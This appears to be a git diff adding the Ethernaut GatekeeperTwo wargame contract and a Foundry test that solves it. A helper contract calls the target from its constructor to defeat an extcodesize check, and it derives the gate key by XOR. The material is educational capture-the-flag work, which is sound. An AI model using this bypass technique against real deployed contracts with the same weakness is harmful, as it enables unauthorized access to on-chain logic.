diff --git a/src/Ethernaut/GatekeeperTwo.sol b/src/Ethernaut/GatekeeperTwo.sol new file mode 100644 index 0000000..a786a87 --- /dev/null +++ b/src/Ethernaut/GatekeeperTwo.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract GatekeeperTwo { + address public entrant; + + modifier gateOne() { + require(msg.sender != tx.origin, 'Gate 1'); + _; + } + + modifier gateTwo() { + uint256 x; + assembly { + x := extcodesize(caller()) + } + require(x == 0, 'Gate 2'); + _; + } + + modifier gateThree(bytes8 _gateKey) { + require( + uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ + uint64(_gateKey) == + type(uint64).max, + 'Gate 3' + ); + _; + } + + function enter( + bytes8 _gateKey + ) public gateOne gateTwo gateThree(_gateKey) returns (bool) { + entrant = tx.origin; + return true; + } +} diff --git a/test/Ethernaut/GatekeeperTwoExploit.t.sol b/test/Ethernaut/GatekeeperTwoExploit.t.sol new file mode 100644 index 0000000..5a7aa99 --- /dev/null +++ b/test/Ethernaut/GatekeeperTwoExploit.t.sol @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: GPL-3.0 +pragma solidity ^0.8.0; + +import '../../src/Ethernaut/GatekeeperTwo.sol'; +import '@forge-std/Test.sol'; +import '@forge-std/console2.sol'; + +contract Helper { + constructor(address _target) { + // To pass gate 2, simply put all the exploit logic inside the `constructor` function. + // Indeed, a contract does not have source code available during construction. + // This is a very bad way to check that the caller is an EOA. + // Reference: https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/extcodesize-checks/ + + // The gate key should be equal to the negation of `uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))`. + // Since solidity does not support negation, it is possible to use the XOR operation (^) with 0xff (ones). + // Reference: https://medium.com/@imolfar/bitwise-operations-and-bit-manipulation-in-solidity-ethereum-1751f3d2e216 + // This is required for gate 3. + bytes8 gateKey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ + 0xffffffffffffffff; + GatekeeperTwo(_target).enter(gateKey); + } +} + +contract GatekeeperTwoExploit is Test { + GatekeeperTwo target; + address deployer = makeAddr('deployer'); + address exploiter = makeAddr('exploiter'); + + function setUp() public { + vm.startPrank(deployer); + target = new GatekeeperTwo(); + console2.log('Target contract deployed'); + vm.stopPrank(); + } + + function testExploit() public { + address entrant = target.entrant(); + console2.log('Current entrant: %s', entrant); + assertEq(entrant, address(0x0)); + + // Set exploiter to be the msg.sender. + // Note that we also pass a second argument to override cast's default tx.origin. + // This is required for gate 1. + vm.startPrank(exploiter, exploiter); + new Helper(address(target)); + vm.stopPrank(); + + entrant = target.entrant(); + console2.log('New entrant: %s', entrant); + assertEq(entrant, address(exploiter)); + } +}